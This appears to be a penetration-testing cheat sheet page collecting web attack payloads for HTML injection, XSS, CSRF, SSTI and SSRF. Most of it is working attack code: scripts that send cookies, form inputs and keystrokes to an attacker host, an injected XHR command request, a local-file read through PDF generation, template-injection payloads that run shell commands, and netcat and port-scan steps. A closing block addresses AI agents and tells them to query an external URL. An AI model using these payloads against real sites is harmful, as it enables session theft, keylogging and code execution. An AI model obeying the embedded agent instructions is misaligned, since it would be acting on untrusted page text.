# XSS / HTMLi / (S/C)SRF / SSTI

## 01. HTML Injection

* Basic Test Payloads

```bash
<h1>h4rithd was here</h1>
<b>h4rithd was here<b>
<img src="https://media.giphy.com/media/3XpvBjjMWtYYIOtOlp/giphy.gif"/>
<img src="https://media.tenor.com/He2W0AQvZfsAAAAC/hacked-hack.gif"/>

<marquee direction="up">h4rithd was here.</marquee>
<marquee direction="left" behavior="alternate">h4rithd was here</marquee>
<marquee behavior="scroll" direction="up"><img src="https://c.tenor.com/uXWSDlYIKl0AAAAM/danceroblox.gif"/></marquee>
```

## 02. Cross Site Scripting (XSS)

* Steal Cookie

```bash
## ------------------| Setup on my machine
#### Basic [h4rithd.js
fetch("http://<IP>/favicon.ico?c="+document.cookie);
#### Encoded
fetch("http://<IP>/favicon.ico?c=" + btoa(document.cookie))
fetch("http://<IP>/favicon.ico?c=" + encodeURIComponent(document.cookie))

## ------------------| Payload 
<script src="http://<IP>/h4rithd.js"></script>
```

* Payloads

```bash
nc -lvnp 80
<script>document.write('<img src="http://<MYIP>/logo.gif?cookie='+document.cookie+'"/>')</script>
<script>new Image().src="http://<MYIP>/logo.jpg?output="+document.cookie;</script>

## ------------------| Common paylods
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efim)``>
<script>alert(123)</script>
<script>location.replace("https://h4rithd.com")</script>
<script>alert(localStorage.authorizations)</script>
<script>alert(JSON.stringify(localStorage))</script>
<img src='https://127.0.0.1/fav.ico?j0k3n='+JSON.stringify(localStorage);'--!>
"/><script>alert(123)</script>
"/><IMG SRC=x onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<img src=http://10.10.14.22/hit/>
<img src=x onerror=this.src='http://10.10.14.22/?cookies='+btoa(document.cookie)/>  
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<script>location.replace("https://h4rithd.com")</script>

## ------------------| Other Paylods
<IMG onmouseover="alert('xss')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC= onmouseover="alert('xss')">
<IMG SRC=# onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
\<a onmouseover="alert(document.cookie)"\>xss link\</a\>
\<a onmouseover=alert(document.cookie)\>xss link\</a\>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

## ------------------| WAF Bypass
<svg on onload=(alert)(123)>
<svg onx=() onload=(confirm)(1)>
<x"/onclick=(confirm)()>h4rithd!
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img ignored=() src=x onerror=prompt(1)>
```

* [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)

```bash
## ------------------| Host this from your end
var xhr = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | ping -n 2 10.10.14.22";
xhr.open("POST", url);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send(params);

# catch this via payload
<script src=http://10.10.14.22/script.js></script>
```

* Server Side XSS (Dynamic PDF)

```bash
## ------------------| Read local file
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>

## If you need base64 encoded text, then use thisone.
x.onload=function(){document.write(btoa(this.responseText))};
```

* Other APIs

```bash
## ------------------| Start the sever for fetch the data
sudo python3 -m http.server 80

## ------------------| Extract stored passwords
<script>
for(let values of document.getElementsByTagName("input")){fetch("http://IP/favicon.ico?data=" + values.value);}
</script>

## ------------------| Keylogers
<script>
function klog(event){fetch("http://IP/favicon.ico?data=" + event.key);}
document.addEventListener('keydown',klog);
</script>
```

## 03. **Cross-Site Request Forgery** (CSRF)

* Create Payload

```bash
<html>
   <iframe src="http://MyIP/IFrameIsWorkingFine"></iframe>
   <iframe src="http://10.10.10.97/ChangePass?password=Welcome123"></iframe>
</html>
```

## 04. Server-Side Template Injection (SSTI)

![source:PayloadsAllTheThings](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Images/serverside.png)

```bash
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
#{1+3+3+7}
${{<%[%'"}}%\.
{{.}}
{{user}}
{{config}}
{{password}}

{%include user%}
{%include config%}
{% include config %}
{%include password%}

{{ get_flashed_messages.globals.builtins.open("/etc/passwd").read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

## ------------------| SpringFramework’s 
{"harithd".replace("a","4")}
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("ping -c 2 <IP>")}
```

* Click [here ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)for list of payloads.

## 05. Server-Side Request Forgery (SSRF)

```bash
### Setup local web server 
sudo python3 -m http.server 80

### Browse URL

### scan localports
/url.php?path=http://localhost:80
wfuzz -u 'http://10.10.10.55:60000/url.php?path=localhost:FUZZ' -z range,1-65535 --hl 2    
```

* Gopher \[[Link](https://xploitlab.com/gopherus-tool-for-exploiting-ssrf-and-gaining-rce/)]

```bash
## ------------------| Test Vuln
### Setup Listener
sudo nc -lvnp 80
### Check if if vuln 
### [\n ==> %0a, %25%30%61 (dubbel Encoded) , space ==> %20, %25%32%30 (dubbel Encoded)]
/url.php?path=gopher://<IP>:80/_GET / HTTP/1.0
/url.php?path=gopher://<IP>:80/_GET%%32%30%2fh4rithd.com%25%32%30HTTP/1.1
### Try to send internal requests
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p0db0t.gitbook.io/pentest/owasp-10/xss-htmli-s-c-srf-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.